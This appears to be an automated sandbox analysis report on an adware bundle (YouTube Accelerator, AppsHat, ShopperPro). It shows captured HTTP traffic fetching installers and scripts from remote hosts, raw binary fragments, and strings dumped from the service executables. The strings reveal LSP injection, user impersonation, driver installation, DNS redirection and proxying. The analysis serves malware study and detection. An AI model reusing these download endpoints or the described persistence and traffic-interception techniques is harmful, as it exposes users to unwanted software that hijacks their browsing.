.]...`..Y.S.x..~..$.........t..-.......B....,.............K...P|./....
y..=...%R.}.....}-..%.L|.tW.L...Oy_1.<.....6.;..!.....:m.v.H.*.SW.l
5......;...jn.K..:.W6 O;........`)~=.)...f... :.3.L.34*n. N_."XWM_..;.
....p.I.......Ib:.`...L&.n/....X.bN...m.f:...T.W2.....o.R..$.)AV.UH7..
Z..X.[... V....N.h.?..H...O...E.D...^.ps.U.Fp......_...m..Ym.......M..
.R.C.....|...Z.j......I.E....1...V.r..".I.rV.q.......g..[2.R.W.|.V._..
..k...?.:.K.T.....a....u(.#..ZW#%&.....$nb:[."......V....... 3A.g.<<< skipped >>>

GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes

{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)

X-Amz-Cf-Id: rzdivE_rqgmzNPY7Mg9L-jqPkrOjMi3_uRSSBepQDJ-1eEvRdErTXA==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9)E.........G%.1...M.......R..a .......%..<<< skipped >>>

GET /js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2OwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=78116d2d-d3b5-4062-b3b8-b2539525da70&apptitle=ShopperPro&channel=iF2OwJSsmtycl HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: inst.shoppingate.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:58 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Thu, 12 Feb 2015 09:31:04 GMT

ETag: W/"9ce52f9fa646d01:0"

X-SN: 03

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

Expires: Wed, 25 Feb 2015 02:02:58 GMT

Cache-Control: max-age=86400

X-Cache: HIT

Content-Encoding: gzip
62f6..............yW.I......w...JY...]..4.1.... \.....L-XHX....g..{c.L
..].3.....2..7..7>...on:......:.j..k.VwG..s.f4..'.o.J{8...n8.{....I
o8(..Vx...&..z.t{.(.L..p...?.... g.r.4..J........p.2.NV....di....,:n]e
......(...Ag.}.....q;.L......$q._..(....j....e.....JI...XN).....v]L.[O
Wz...5.Qv.^.c.YR...r...t}}6...>(.Po.f...9.......{...n.....u'Q.m..l2
..6......:..l0...[XS..M.[...K...a9]...4...T......7..?6./.PJ.m..mT.....
n......g......C..>..3 .i|..Ik\.:.TJ6.v.-..iB...=..v..M..c..JZWK..0.
r..............d...2.n.q..6............ T...l<.G....I7?.)3...x.~..m
.....Oc.........0.BBz.#..?....t.<:~._..w..N...=.....g....G....g....
...........g.7O._.......O.w........~.qp..yp.8;}k..Cy.........{o.......
Od..-..... S.Z-.....)V...-.T..B.C..C......h[|...G.C.*.cQR....SH.......
).A.fA*.Q|s....}.0..3^.....".....E...". q.....l@...*'.m\.......d'.....
.jXC.d....J.p..S/...Jj.....t.0....f......<....kks....... .i2..I..|.
g.n.MV.`..*.?s.8.[...[..... ..i.>`....Nt~Y...N..V....Z .......tv...
.Q..Pv...$.....i...A..j.....L.]...;.......w.i.].?d<...$;.Y]/...Y.!.
-..". K.m.5...[.ww.Z.......h.........'...`j.&..^..K....V.v..`=..3]...o
......X .(..U&.x...o.o.....fe.....kE...R...."X....;.Zpq1..K....S.$.x..
..;)m.......aE.....,\..5...2.N.W.4W...)O...vyP.F)... ..K..BF|s..\..z.1
..#..W./"M...r.c2.V.K.C}B.....4...b..W.QA..p.......UN..-....>M...[?
..B.I.qy....{..[R...I<.V.v.......(..t.....%I..*..&..j.ab [...~.....
.E..n".Jp.....< ;k.G.....Wo...P...)..p....~E.`p~u.%. ...N.....>@
.3q~......Hf{}P.......?.....~=@..<0.....z;[email protected]..<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743303&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 02:01:24 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=fxbnpe31jwfj4s45nywh3me4; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

The Application connects to the servers at the folowing location(s):

YouTubeAcceleratorService.exe_2448:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zcÁ

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

:{6@;85|

].Vogz

ZN.sCx

7.ps#

|-j}A

umSg

C.UMxQ

.Yb"%

G P.Qw

dy%u~

x.YCD

$$.tmq

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.4

jsdrv.exe_3420:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PSh@u

j.hHc

j.hX"

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

